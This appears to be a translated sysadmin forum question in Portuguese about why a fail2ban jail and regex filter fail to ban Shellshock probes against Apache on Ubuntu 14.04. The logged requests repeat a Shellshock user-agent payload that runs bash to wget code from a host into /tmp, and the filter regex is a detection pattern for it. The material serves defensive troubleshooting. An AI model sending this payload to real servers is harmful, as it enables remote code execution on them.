Instalei o servidor web Apache em uma instalação padrão do Ubuntu 14.04 e estou tentando usar o fail2ban para bloquear solicitações que verificam vulnerabilidades.
Eu coloquei o seguinte em /etc/fail2ban/jail.local :
[apache-vulnerability-scan]
enabled = true
port = http,https
filter = apache-vulnerability-scan
logpath = /var/log/apache*/*access.log
maxretry = 1
A definição da regra está em /etc/fail2ban/filter.d/apache-vulnerability-scan.conf :
[Definition]
failregex = ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$
ignoreregex =
Para quem não está familiarizado com as regras padrão do fail2ban do Ubuntu, algumas das regras primárias são as seguintes:
ignoreip = 127.0.0.1/8
bantime = 600
findtime = 600
maxretry = 3
backend = auto
usedns = warn
protocol = tcp
chain = INPUT
No entanto, posso fazer solicitações sem o fail2ban banindo meu IP, mesmo que maxretry esteja definido como 1 .
10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:43 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)"
O status do filtro parece estar correto:
# fail2ban-client status apache-vulnerability-scan
Status for the jail: apache-vulnerability-scan
|- filter
| |- File list: /var/log/apache2/other_vhosts_access.log /var/log/apache
2/access.log
| |- Currently failed: 0
| '- Total failed: 0
'- action
|- Currently banned: 0
| '- IP list:
'- Total banned: 0
Como parece ser a regra em si:
Running tests
=============
Use failregex file : /etc/fail2ban/filter.d/apache-vulnerability-scan.conf
Use log file : /var/log/apache2/access.log
Results
=======
Failregex: 10 total
|- #) [# of hits] regular expression
| 1) [10] ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$
| 10.0.2.2 Sat Nov 21 00:11:40 2015
| 10.0.2.2 Sat Nov 21 00:11:40 2015
| 10.0.2.2 Sat Nov 21 00:11:40 2015
| 10.0.2.2 Sat Nov 21 00:11:41 2015
| 10.0.2.2 Sat Nov 21 00:11:41 2015
| 10.0.2.2 Sat Nov 21 00:11:41 2015
| 10.0.2.2 Sat Nov 21 00:11:41 2015
| 10.0.2.2 Sat Nov 21 00:11:42 2015
| 10.0.2.2 Sat Nov 21 00:11:42 2015
| 10.0.2.2 Sat Nov 21 00:11:43 2015
'-
Ignoreregex: 0 total
Date template hits:
|- [# of hits] date format
| [13] Day/MONTH/Year:Hour:Minute:Second
| [0] WEEKDAY MONTH Day Hour:Minute:Second[.subsecond] Year
| [0] WEEKDAY MONTH Day Hour:Minute:Second Year
| [0] WEEKDAY MONTH Day Hour:Minute:Second
| [0] MONTH Day Hour:Minute:Second
| [0] Year/Month/Day Hour:Minute:Second
| [0] Day/Month/Year Hour:Minute:Second
| [0] Day/Month/Year2 Hour:Minute:Second
| [0] Month/Day/Year:Hour:Minute:Second
| [0] Year-Month-Day Hour:Minute:Second[,subsecond]
| [0] Year-Month-Day Hour:Minute:Second
| [0] Year.Month.Day Hour:Minute:Second
| [0] Day-MONTH-Year Hour:Minute:Second[.Millisecond]
| [0] Day-Month-Year Hour:Minute:Second
| [0] Month-Day-Year Hour:Minute:Second[.Millisecond]
| [0] TAI64N
| [0] Epoch
| [0] ISO 8601
| [0] Hour:Minute:Second
| [0] <Month/Day/Year@Hour:Minute:Second>
| [0] YearMonthDay Hour:Minute:Second
| [0] Month-Day-Year Hour:Minute:Second
'-
Lines: 13 lines, 0 ignored, 12 matched, 1 missed
|- Missed line(s):
| 10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)"
'-
Por que as regras do fail2ban não estão entrando em vigor? O que estou fazendo errado aqui?